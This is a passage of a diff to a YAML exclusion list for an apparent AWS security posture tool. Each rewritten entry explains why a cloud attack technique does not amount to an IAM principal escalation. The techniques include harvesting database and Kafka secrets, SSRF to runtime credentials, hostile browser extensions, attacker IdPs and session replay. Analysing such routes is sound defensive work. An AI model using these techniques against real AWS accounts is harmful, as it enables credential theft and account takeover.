src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md#lambda-durable-executions technique: aws-lambda-durablehistory-secret-identity - reason: 'Recover a distinct identity credential from Lambda durable history: no source IAM action or resource - is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove - Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject - and effective added permissions before restoring.' + reason: 'GetDurableExecutionHistory with IncludeExecutionData can reveal retained step + inputs, results and callbacks for an exact durable execution; a customer-managed KMS key + also requires caller kms:Decrypt. The API does not identify that content as AWS credentials. + A role edge would need a real complete usable credential in the returned history, its + verified AWS principal and added authority. The CSPM does not collect execution payloads + or validate credential subjects, so history-read permission alone is insufficient.' - source: src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md#enumeration technique: aws-lambda-getfunction-package-secret-identity reason: 'Recover a distinct identity credential from Lambda deployment package: no source IAM action or resource @@ -259,10 +267,12 @@ subject and effective added permissions before restoring.' - source: src/pentesting-cloud/aws-security/aws-services/aws-lex-v2-enum.md#runtime-sessions-and-stored-utterances technique: aws-lex-getsession-other-application-session - reason: 'Recover another user application session from Lex GetSession: no source IAM action or resource is declared - in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject - chain. Reauthor the exact source action, resource, credential subject and effective added permissions before - restoring.' + reason: 'Lex GetSession returns a bot conversation state and its session attributes for + the supplied bot alias, locale and session ID. These values may expose application data, + but a Lex session ID is not an IAM or STS credential and GetSession does not grant the + caller another AWS principal. If a particular application stores an AWS secret in a + session attribute, that requires separate content and credential-subject evidence. + Keep generic application-session disclosure outside the principal graph.' - source: src/pentesting-cloud/aws-security/aws-persistence/aws-acm-persistence/README.md#register-an-attacker-controlled-acme-certificate-account technique: aws-pa-persist-s01-01 reason: 'Create EAB for an existing issuance role, recover binding, register ACME account: no source IAM action @@ -271,10 +281,12 @@ subject and effective added permissions before restoring.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#harvest-db-credentials-via-rds-proxy-auth-secrets-rdsdescribedbproxies--secretsmanagergetsecretvalue technique: aws-pa-s03-4-rds-proxy-auth-secret - reason: 'Read RDS Proxy backend database credentials: no source IAM action or resource is declared in requires. - The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject - chain. Reauthor the exact source action, resource, credential subject and effective added permissions before - restoring.' + reason: 'RDS Proxy auth secrets hold database usernames and passwords for backend + connections. DescribeDBProxies can identify a configured secret and GetSecretValue may + disclose its value, but that credential authenticates a database user, not an IAM role. + End-to-end IAM-authenticated proxies may have no backend password secret. Report the + database credential exposure separately; the role target in the retired YAML was an + unsupported principal-to-principal claim.' - source: src/pentesting-cloud/aws-security/aws-persistence/aws-managed-blockchain-persistence/README.md#establish-an-attacker-owned-consortium-member technique: aws-peaso-establish-an-attacker-owned-consortium-member reason: 'Join Fabric consortium with controlled member: no source IAM action or resource is declared in requires. @@ -302,10 +314,11 @@ - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-msk-post-exploitation/README.md#kafkaupdatesecurity-to-expose-private-topics-without-credentials historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md#kafkaupdatesecurity-to-expose-private-topics-without-credentials technique: aws-s05-04-read-public-msk-sasl-scram-secret - reason: 'Read public MSK SASL/SCRAM secret: no source IAM action or resource is declared in requires. The conditional - aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject - chain. Reauthor the exact source action, resource, credential subject and effective added permissions before - restoring.' + reason: 'An MSK-associated Secrets Manager secret contains a Kafka SASL/SCRAM username + and password. Reading that secret may permit broker authentication when network access + and Kafka ACLs allow it, but the password is not an IAM or STS credential and gives no + other AWS principal authority. The retired role target conflated Kafka topic access with + AWS principal escalation; retain the credential exposure as a separate data-plane issue.' source_revision: 1fb542ff27 - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-function-access-post-exploitation/README.md#lambdagetfunction--download-a-function-deployment-package historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdagetfunction--download-a-function-deployment-package @@ -333,10 +346,12 @@ restoring.' - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-flink-privesc/README.md#studio-presigned-url-to-zeppelin-execution technique: aws-s05-28-studio-presigned-url-to-zeppelin-execution - reason: 'Studio presigned URL to Zeppelin execution: no source IAM action or resource is declared in requires. - The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject - chain. Reauthor the exact source action, resource, credential subject and effective added permissions before - restoring.' + reason: 'Implemented by the active aws-flink-studio-presigned-url route. The evaluator + joins a collected RUNNING INTERACTIVE application ARN to its exact ServiceExecutionRole + and requires effective CreateApplicationPresignedUrl on that same ARN. The short-lived + bearer URL must still be used and the notebook must permit code or query execution, so + the outcome remains conditional. Keep this retired generated duplicate excluded to avoid + a second unsupported edge.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workmail-post-exploitation/README.md#abusing-workmail-to-bypass-ses-sandbox technique: aws-s05-abusing-workmail-to-bypass-ses-sandbox reason: 'Abusing WorkMail to bypass SES sandbox: no source IAM action or resource is declared in requires. The @@ -380,16 +395,19 @@ restoring.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-transfer-family-post-exploitation/README.md#logsfilterlogevents--logsgetlogevents--recover-custom-idp-passwords-from-logs technique: aws-s05-logsfilterlogevents-logsgetlogevents-recover-custom-idp-passwords-from - reason: '`logs:FilterLogEvents` / `logs:GetLogEvents` — recover custom-IdP passwords from logs: no source IAM - action or resource is declared in requires. The conditional aws_role target relies on opaque evidence, so the - YAML cannot prove Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, - credential subject and effective added permissions before restoring.' + reason: 'A custom Transfer Family identity provider may log the plaintext SFTP, FTP or + FTPS password it receives; FilterLogEvents or GetLogEvents could disclose that password + when the exact log group contains it. That password authenticates a Transfer user, not + an IAM or STS principal. A later file-transfer session may use a configured storage role + only for bounded S3/EFS operations and does not hand that role to the log reader. Keep + password leakage and file access as separate risks outside this principal graph.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-systems-manager-for-sap-post-exploitation/README.md#recover-configured-sap-hana-administrator-credentials technique: aws-s05-recover-configured-sap-hana-administrator-credentials - reason: 'Recover configured SAP HANA administrator credentials: no source IAM action or resource is declared in - requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject - chain. Reauthor the exact source action, resource, credential subject and effective added permissions before - restoring.' + reason: 'GetDatabase returns the SecretId of a registered SAP HANA administrative + credential; a separate GetSecretValue grant may disclose its database username and + password. Those values authenticate a HANA database user, not another AWS IAM principal. + The retired role target therefore overclaimed a principal transition. Retain the HANA + credential exposure as a database issue outside this graph.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workspaces-thin-client-post-exploitation/README.md#thinclientupdateenvironment---redirect-devices-to-another-desktop-provider-or-idp-endpoint technique: aws-s05-thinclientupdateenvironment-redirect-devices-to-another-desktop-provid reason: '`thinclient:UpdateEnvironment` - Redirect devices to another desktop provider or IdP endpoint: no source @@ -452,16 +470,15 @@ restoring.' - source: src/pentesting-cloud/aws-security/aws-services/aws-verified-permissions-enum.md#identity-source-and-cross-account-boundaries technique: aws-verifiedpermissions-identity-source-impersonation - reason: 'Redirect application token trust to an attacker-controlled identity: no source IAM action or resource - is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove - Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject - and effective added permissions before restoring.' + reason: 'Changing a Verified Permissions identity source may let attacker-issued tokens map to + application Cedar identities. The token still cannot call AWS APIs without a separately + authorized SigV4 caller, and the policy store does not grant IAM role permissions.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#aws-waf-log-credential-harvesting-and-request-replay technique: aws-waf-sampled-request-session-replay - reason: 'Replay a session recovered from WAF request samples: no source IAM action or resource is declared in - requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject - chain. Reauthor the exact source action, resource, credential subject and effective added permissions before - restoring.' + reason: 'Candidate only if a readable WAF sample contains a complete usable AWS credential + for an identified other IAM principal. A cookie, bearer token or X-Amz-Security-Token + alone proves only an application session or incomplete AWS credential. Require actual + unredacted secret material, validity and principal attribution before an IAM edge.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-timestream-post-exploitation/README.md#timestreamcreatescheduledquery--iampassrole--run-sql-and-downstream-writes-as-a-scheduled-query-role source_revision: 0d0ea06005 technique: aws-audit-create-scheduled-query-to-exfiltrate-role-readable-secrets @@ -546,10 +563,12 @@ explicitly.' - source: src/pentesting-cloud/aws-security/aws-services/aws-payment-cryptography-enum.md#resource-and-authorization-model technique: aws-payment-cryptography-crossaccount-key-policy - reason: 'Grant a controlled external principal payment-key operations: the modeled target is terminal aws_verified_authority/bounded_authority, - and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective - permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action - explicitly.' + reason: 'PutResourcePolicy on an owner-account primary key can grant selected payment-key + operations to a named principal. An external principal also needs its own identity-policy + Allow, and the source caller in the key-owning account is not thereby given that external + principal''s credentials or authority. A self-grant on the same IAM principal changes its + own key access, not a path to another principal. The retired entry identifies no second + principal controlled by the source; keep cross-account key sharing outside this graph.' - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-payment-cryptography-privesc/README.md#payment-cryptographyputresourcepolicy technique: aws-payment-cryptography-sameaccount-key-policy reason: 'Grant the source new operations on a primary payment key: the modeled target is terminal aws_verified_authority/bounded_authority, @@ -612,10 +631,13 @@ explicitly.' - source: src/pentesting-cloud/aws-security/aws-services/aws-q-business-enum.md#data-accessors-and-resource-policies technique: aws-qbusiness-crossaccount-data-accessor - reason: 'Grant a controlled ISV accessor Q Business retrieval authority: the modeled target is terminal aws_verified_authority/bounded_authority, - and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective - permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action - explicitly.' + reason: 'A Q Business data accessor grants a registered ISV IAM role bounded + SearchRelevantContent access to one customer application and its permitted index data. + AWS requires an accessor, application policy/assignment and identity or tenant context; + the customer-side caller does not receive or control the ISV role by creating the accessor. + The registered role is another principal, but no source-to-role control or credential + transfer exists in this technique. Keep the cross-account data-sharing risk outside the + principal escalation graph.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambdaaddpermission historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdaaddpermission source_revision: 3ad99dc7ac @@ -690,16 +712,14 @@ explicitly.' - source: src/pentesting-cloud/aws-security/aws-services/aws-verified-permissions-enum.md#enumerate-stores-and-aliases technique: aws-verifiedpermissions-alias-rebind - reason: 'Rebind a production alias to a permissive policy store: the modeled target is terminal aws_verified_authority/bounded_authority, - and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective - permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action - explicitly.' + reason: 'Rebinding a policy-store alias may change decisions consumed by an application. + The alias is a Verified Permissions resource, not an IAM role, and the changed Cedar + decision does not give the source AWS principal another principal''s AWS permissions.' - source: src/pentesting-cloud/aws-security/aws-services/aws-verified-permissions-enum.md#exact-iam-boundaries technique: aws-verifiedpermissions-policy-app-admin - reason: 'Grant application privileges through a Cedar policy: the modeled target is terminal aws_verified_authority/bounded_authority, - and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective - permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action - explicitly.' + reason: 'A Cedar policy can grant an application identity admin actions inside that + application. The policy store does not alter IAM identity policies or create AWS + credentials, and its decision API does not execute the application action.' - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#as2-partner-certificate-substitution--impersonate-a-trading-partner technique: aws-v3-01-substitute-an-as2-partner-signing-certificate reason: 'Substitute an AS2 partner signing certificate: actions transfer:ImportCertificate, transfer:UpdateProfile @@ -707,24 +727,26 @@ new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' - source: src/pentesting-cloud/aws-security/aws-persistence/aws-acm-persistence/README.md#register-an-attacker-controlled-acme-certificate-account technique: aws-v3-02-register-an-acme-account-with-a-binding-to-issue-certif - reason: 'Register an ACME account with a binding to issue certificates through its IAM role: actions acm:GetAcmeExternalAccountBindingCredentials - are stated, but the aws_verified_authority target does not identify an exact principal or encode a verified - new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' + reason: 'Candidate bounded role-backed certificate issuance, also tracked as aws-pa-persist-s01-01. + EAB credentials can register an ACME account, after which ACM authorizes issuance through the EAB role. + An exact route needs the active endpoint, accepted EAB, associated role, domain validation, and effective + acm:RequestCertificate permission. It does not grant the caller general AWS role credentials.' - source: src/pentesting-cloud/aws-security/aws-persistence/aws-appintegrations-persistence/README.md#appintegrations technique: aws-v3-03-replace-a-trusted-connect-workspace-application-with-at - reason: 'Replace a trusted Connect workspace application with attacker-controlled content: actions app-integrations:UpdateApplication - are stated, but the aws_verified_authority target does not identify an exact principal or encode a verified - new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' + reason: 'UpdateApplication can replace the origin and permissions of a Connect agent workspace application. + This gives a browser and contact-data foothold for eligible agents, but the page identifies no AWS IAM + principal or credential handed to the source. An agent browsing the application does not itself form an + exact AWS principal-to-principal route.' - source: src/pentesting-cloud/aws-security/aws-persistence/aws-workspaces-web-persistence/README.md#persist-a-hostile-extension-in-every-secure-browser-session technique: aws-v3-04-force-install-a-hostile-extension-in-workspaces-web-ses - reason: 'Force-install a hostile extension in WorkSpaces Web sessions: actions workspaces-web:UpdateBrowserSettings - are stated, but the aws_verified_authority target does not identify an exact principal or encode a verified - new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' + reason: 'UpdateBrowserSettings can force an extension into later WorkSpaces Secure Browser sessions. + It can affect pages those users visit, but no exact AWS principal, IAM credential, or role transfer is + identified by the policy setting alone. A separately observed credential would need its own route.' - source: src/pentesting-cloud/aws-security/aws-persistence/aws-workspaces-web-persistence/README.md#persist-an-attacker-controlled-portal-identity-provider technique: aws-v3-05-add-or-replace-a-workspaces-web-portal-saml-oidc-identi - reason: 'Add or replace a WorkSpaces Web portal SAML/OIDC identity provider: actions workspaces-web:CreateIdentityProvider - are stated, but the aws_verified_authority target does not identify an exact principal or encode a verified - new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' + reason: 'CreateIdentityProvider or UpdateIdentityProvider can let an attacker-operated IdP authenticate a + user to a standard WorkSpaces Secure Browser portal. This is portal access, not an AWS IAM role session; + neither the provider configuration nor browser login names an exact AWS principal gained by the source.' - source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-user-pool-unauthenticated-access/README.md#multi-region-replicas-split-password-lockout-counters technique: aws-v3-06-use-independent-cognito-replica-lockout-counters-to-gue reason: 'Use independent Cognito replica lockout counters to guess a user password: no source permission/action @@ -732,9 +754,14 @@ the challenge evidence is not collected in current snapshots.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md#1-runtime-ssrf---mmds-credentials technique: aws-v3-07-agentcore-runtime-ssrf-to-its-execution-role-credential - reason: 'AgentCore Runtime SSRF to its execution-role credentials: no source permission/action is declared. The - required foothold or credential possession cannot be inferred from an AWS IAM principal, and the challenge evidence - is not collected in current snapshots.' + reason: 'AgentCore Runtime uses an execution role whose temporary credentials are + available inside its microVM, but AWS now requires MMDSv2 for new Runtime invocations. + A GET-only SSRF cannot reach token-protected credentials; AWS notes already-running + legacy sessions are unaffected by the invocation gate. A current route needs an exact + accessible runtime/session, a demonstrated SSRF that reaches tokenless MMDS in such a + live legacy session or obtains and uses an MMDSv2 token, the credential response, and + the runtime-to-role join. The CSPM collects none of those exploit/session facts, so + InvokeAgentRuntime or role trust alone cannot prove this edge.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md#steal-the-container-instance-role-from-an-ecs-on-ec2-task technique: aws-v3-08-read-ec2-instance-profile-credentials-from-imds-inside reason: 'Read EC2 instance-profile credentials from IMDS inside an ECS task: no source permission/action is declared. @@ -747,49 +774,72 @@ the challenge evidence is not collected in current snapshots.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#exfiltrate-lambda-credentials technique: aws-v3-10-read-lambda-execution-role-credentials-from-runtime-env - reason: 'Read Lambda execution-role credentials from runtime environment variables: no source permission/action - is declared. The required foothold or credential possession cannot be inferred from an AWS IAM principal, and - the challenge evidence is not collected in current snapshots.' + reason: 'AWS places temporary execution-role credentials in Lambda runtime environment + variables, but a caller needs a demonstrated way to read the process environment or + make the function reveal those variables. InvokeFunction alone does not provide that + read. An exact edge also needs the function-to-execution-role join and a credential + response proving usable role access. The CSPM cannot infer a vulnerable handler or + local process foothold from IAM permissions, so this generic post-exploitation route + remains excluded; separately modeled code-control routes may reach the role.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-migration-hub-strategy-recommendations-post-exploitation/README.md#harvest-credentials-from-a-compromised-collector-host technique: aws-v3-11-harvest-the-strategy-recommendations-collector-aws-keys - reason: 'Harvest the Strategy Recommendations collector AWS keys from local configuration: no source permission/action - is declared. The required foothold or credential possession cannot be inferred from an AWS IAM principal, and - the challenge evidence is not collected in current snapshots.' + reason: 'A configured Strategy Recommendations collector host may store AWS access keys + in its local Docker configuration, but this route starts with local root, Docker control + or equivalent filesystem access, not with a defined Migration Hub IAM action. An AWS + principal edge needs proof that the source controls that exact host, the actual complete + usable key tuple, its verified IAM subject and added authority. CSPM IAM inventory + cannot infer local host compromise or secret contents, so keep this post-exploitation + route excluded.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-privileged-event-consumer-injection.md#preconditions-and-discovery-without-list-permissions technique: aws-v3-12-drive-a-privileged-lambda-consumer-through-a-writable-e - reason: 'Drive a privileged Lambda consumer through a writable event source: actions sns:Publish are stated, but - the aws_verified_authority target does not identify an exact principal or encode a verified new effective permission. - The entry is explicitly unresolved pending reviewed challenge evidence.' + reason: 'A producer can write to an SNS, SQS, Kinesis, DynamoDB, Logs or metric source + that an existing Lambda consumes, without direct InvokeFunction or PassRole. Invocation + alone is not a role edge: the exact enabled source-to-function join, function role, input + filter and handler behavior must show that a caller-controlled field drives a specific + privileged AWS operation and useful result. The CSPM does not inspect or verify handler + input-to-action semantics, so a producer grant alone cannot prove this route.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iot-core-post-exploitation/README.md#cross-service-pivot-publish-into-an-existing-iot-rule-and-lambda technique: aws-v3-13-publish-to-an-iot-rule-whose-lambda-action-misuses-atta - reason: 'Publish to an IoT rule whose Lambda action misuses attacker-controlled fields: actions iot:Publish are - stated, but the aws_verified_authority target does not identify an exact principal or encode a verified new - effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' + reason: 'iot:Publish can reach a Lambda only through an enabled rule whose SQL matches + the exact writable topic, whose Lambda action names the function, and whose function + policy allows the rule to invoke it. To establish a role edge, the handler must also + use attacker-controlled message fields to perform a specific privileged action under + its recorded role. The CSPM lacks that rule-to-function and handler-semantic proof, so + a matching topic permission or role ARN alone is insufficient.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lex-v2-post-exploitation/README.md#abuse-an-existing-code-hook-through-runtime-access technique: aws-v3-14-trigger-privileged-business-actions-through-a-lex-fulfi - reason: 'Trigger privileged business actions through a Lex fulfillment hook: actions lex:RecognizeText are stated, - but the aws_verified_authority target does not identify an exact principal or encode a verified new effective - permission. The entry is explicitly unresolved pending reviewed challenge evidence.' + reason: 'Lex runtime calls can supply slots to a configured fulfillment Lambda only when + the exact alias and intent have that hook enabled and the dialog reaches fulfillment. + This gives no raw Lambda role access; a principal edge would require observed handler + logic that maps caller-controlled slots to a specific privileged AWS action, the hook + function role and a useful result. The CSPM does not collect bot dialog or handler + semantics, so RecognizeText permission alone cannot prove such an edge.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#aws-waf-log-credential-harvesting-and-request-replay technique: aws-v3-15-replay-a-victim-application-session-recovered-from-waf - reason: 'Replay a victim application session recovered from WAF records: actions logs:FilterLogEvents are stated, - but the aws_verified_authority target does not identify an exact principal or encode a verified new effective - permission. The entry is explicitly unresolved pending reviewed challenge evidence.' + reason: 'Candidate duplicate of aws-waf-sampled-request-session-replay across log and + sampled-request reads. Replaying a cookie or bearer token reaches an application session, + not automatically an AWS principal. An IAM edge requires an actually recorded complete + valid AWS credential and attribution to a distinct IAM user or role.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-device-farm-post-exploitation/README.md#take-over-a-running-remote-access-device technique: aws-v3-16-redeem-a-device-farm-session-endpoint-and-control-a-log - reason: 'Redeem a Device Farm session endpoint and control a logged-in test account: actions devicefarm:GetRemoteAccessSession - are stated, but the aws_verified_authority target does not identify an exact principal or encode a verified - new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' + reason: 'GetRemoteAccessSession can return interactive and Appium endpoints for one + running physical test-device session. Those endpoints may let the caller control a + logged-in app or test account on the device, but the device session is not another AWS + IAM principal and no role credential is returned. Any AWS credential later found inside + the app would require separate content and subject evidence. Keep device takeover as an + application-session issue outside this graph.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-gamelift-streams-post-exploitation/README.md#reconnect-to-an-active-or-disconnected-session technique: aws-v3-17-reconnect-to-another-user-s-live-gamelift-streams-appli - reason: 'Reconnect to another user’s live GameLift Streams application session: actions gameliftstreams:CreateStreamSessionConnection - are stated, but the aws_verified_authority target does not identify an exact principal or encode a verified - new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' + reason: 'CreateStreamSessionConnection can reconnect to an ACTIVE or + PENDING_CLIENT_RECONNECTION stream and preserve that application session state. The + resulting WebRTC access may expose an in-app user session or reachable private network, + but the API does not grant the reconnecting caller the streaming execution role or + another AWS principal. Treat this as application-session takeover, not an IAM role edge.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workspaces-web-post-exploitation/README.md#add-or-replace-an-attacker-controlled-identity-provider technique: aws-v3-18-attach-an-attacker-idp-to-a-workspaces-secure-browser-p - reason: 'Attach an attacker IdP to a WorkSpaces Secure Browser portal: actions workspaces-web:CreateIdentityProvider - are stated, but the aws_verified_authority target does not identify an exact principal or encode a verified - new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' + reason: 'Same portal IdP route as aws-v3-05. A configured attacker provider can issue valid assertions + for WorkSpaces Secure Browser access, but the portal login is not an IAM role session. The page does + not identify an exact AWS principal gained by the source.' - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-sitewise-privesc/README.md#grant-yourself-access-to-a-legacy-sitewise-monitor-portal technique: aws-v3-19-grant-a-controlled-identity-sitewise-monitor-administra reason: Only the exact self-admin grant on one existing portal with reviewed before/after access is active as aws-sitewise-createaccesspolicy-portal-self-grant. The legacy controlled-other-identity target lacks a typed source-control join and remains excluded. @@ -797,24 +847,30 @@ - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ivs-chat-room-token-post-exploitation/README.md#mint-a-room-token-and-join-the-data-plane technique: aws-v3-20-mint-an-ivs-chat-token-using-another-application-user-i - reason: 'Mint an IVS Chat token using another application user ID: actions ivschat:CreateChatToken are stated, - but the aws_verified_authority target does not identify an exact principal or encode a verified new effective - permission. The entry is explicitly unresolved pending reviewed challenge evidence.' + reason: 'CreateChatToken can mint a room WebSocket token with an application-provided + userId and selected chat capabilities. That token may let the caller impersonate an + application user and send, receive or moderate messages in the room, but userId is not + an IAM principal and the token cannot call AWS APIs as another role. Keep this bounded + chat impersonation risk outside the AWS principal graph.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-audit-manager-post-exploitation/README.md#delegate-a-control-set-to-another-role technique: aws-v3-21-delegate-audit-manager-control-set-authority-to-an-atta - reason: 'Delegate Audit Manager control-set authority to an attacker-controlled role: actions auditmanager:BatchCreateDelegationByAssessment - are stated, but the aws_verified_authority target does not identify an exact principal or encode a verified - new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' + reason: 'Candidate exact role authority change. BatchCreateDelegationByAssessment names a role and + grants it control-set review authority, but an edge from the source requires proof that the source + controls or can assume that exact role, effective permission on the assessment and control set, + and the resulting delegation. This does not itself grant sts:AssumeRole or general role permissions.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iot-wireless-post-exploitation/README.md#recover-wireless-device-onboarding-and-session-secrets technique: aws-v3-22-clone-a-wireless-device-with-recovered-lorawan-or-sidew - reason: 'Clone a wireless device with recovered LoRaWAN or Sidewalk keys: actions iotwireless:GetWirelessDevice - are stated, but the aws_verified_authority target does not identify an exact principal or encode a verified - new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' + reason: 'GetWirelessDevice may expose LoRaWAN or Sidewalk device keys, which can enable + device cloning or wireless traffic manipulation when the returned key type is usable. + Those keys identify a wireless device, not an IAM user or role, and do not authorize + AWS API calls as another principal. Keep this device-identity compromise outside the + principal escalation graph.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-supply-chain-post-exploitation/README.md#redirect-an-erp-connection-to-expose-credentials-used-by-the-instance-role technique: aws-v3-23-redirect-a-supply-chain-erp-connector-to-capture-a-dele - reason: 'Redirect a Supply Chain ERP connector to capture a delegated ERP credential: no source permission/action - is declared. The required foothold or credential possession cannot be inferred from an AWS IAM principal, and - the challenge evidence is not collected in current snapshots.' + reason: 'Redirecting a Supply Chain ERP connector may send a stored ERP username and password to + an attacker endpoint if the service authenticates there. The credential belongs to the downstream + ERP or database, not to the AWS instance role that reads it. No reusable AWS principal credential + or exact principal-to-principal edge is identified by this route.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-invoicing-and-billing-post-exploitation/README.md#steal-or-sabotage-a-procurement-portal-connection technique: aws-v3-24-recover-or-redirect-procurement-portal-authentication-m reason: 'Recover or redirect procurement-portal authentication material: actions invoicing:GetProcurementPortalPreference @@ -822,66 +878,79 @@ new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cognito-directory-secret-disclosure-post-exploitation/README.md#iam-reads-that-expose-directory-data-and-idp-client-secrets technique: aws-v3-25-use-a-cognito-idp-client-secret-as-the-oauth-applicatio - reason: 'Use a Cognito IdP client secret as the OAuth application client: actions cognito-idp:DescribeUserPoolClient - are stated, but the aws_verified_authority target does not identify an exact principal or encode a verified - new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' + reason: 'DescribeUserPoolClient may reveal a confidential Cognito application client secret. + The secret can authenticate an OAuth client for permitted flows, but it is not an IAM user or + role credential and does not by itself grant AWS API authority as another principal. A separate + identity-pool role mapping would need exact proof before modeling an IAM edge.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-managed-blockchain-post-exploitation/README.md#recover-an-accessor-bearer-token technique: aws-v3-26-reuse-an-amazon-managed-blockchain-accessor-billing-tok - reason: 'Reuse an Amazon Managed Blockchain accessor billing token: actions managedblockchain:GetAccessor are - stated, but the aws_verified_authority target does not identify an exact principal or encode a verified new - effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' + reason: 'GetAccessor can return a BILLING_TOKEN for Ethereum or Polygon JSON-RPC access + and charge usage to the accessor owner. The token is a Managed Blockchain service + credential, not an AWS IAM or STS session; it neither discloses wallet private keys nor + grants another AWS principal authority. Keep paid-node misuse as a separate issue.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kinesis-video-streams-post-exploitation/README.md#recover-turn-credentials-and-impersonate-webrtc-peers technique: aws-v3-27-join-kinesis-video-signaling-as-a-master-or-viewer-peer - reason: 'Join Kinesis Video signaling as a master or viewer peer: actions kinesisvideo:ConnectAsViewer are stated, - but the aws_verified_authority target does not identify an exact principal or encode a verified new effective - permission. The entry is explicitly unresolved pending reviewed challenge evidence.' + reason: 'GetIceServerConfig returns temporary TURN relay credentials for one signaling + channel; joining signaling separately requires the source principal to have + ConnectAsViewer or ConnectAsMaster on that channel. TURN credentials authenticate to + the relay, not to IAM or STS, and the signed WebSocket call still uses the source + principal. Media exposure or peer impersonation is a bounded application-plane risk, + not a transition to another AWS principal.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statesstartexecution---input-injection-into-dangerous-sinks technique: aws-v3-28-reach-a-lambda-execution-role-through-unsafe-workflow-i - reason: 'Reach a Lambda execution role through unsafe workflow input deserialization: actions states:StartExecution - are stated, but the role edge still relies on an uncollected challenge fact and does not establish a concrete - usable target role from current evidence.' + reason: 'Candidate Lambda role route only when an exact state machine passes caller-controlled input + to a known Lambda handler whose reviewed code executes that input. StartExecution permission, + state-machine definition, Lambda target and handler behavior must be joined before naming its + execution role as reachable. A mere invocation never proves code execution.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statesstartexecution---input-injection-into-dangerous-sinks technique: aws-v3-29-redirect-a-credentialed-step-functions-http-task-to-cap - reason: 'Redirect a credentialed Step Functions HTTP Task to capture its connection credential: actions states:StartExecution - are stated, but the aws_verified_authority target does not identify an exact principal or encode a verified - new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' + reason: 'A dynamic HTTP Task endpoint may receive the fixed EventBridge Connection credential + when caller 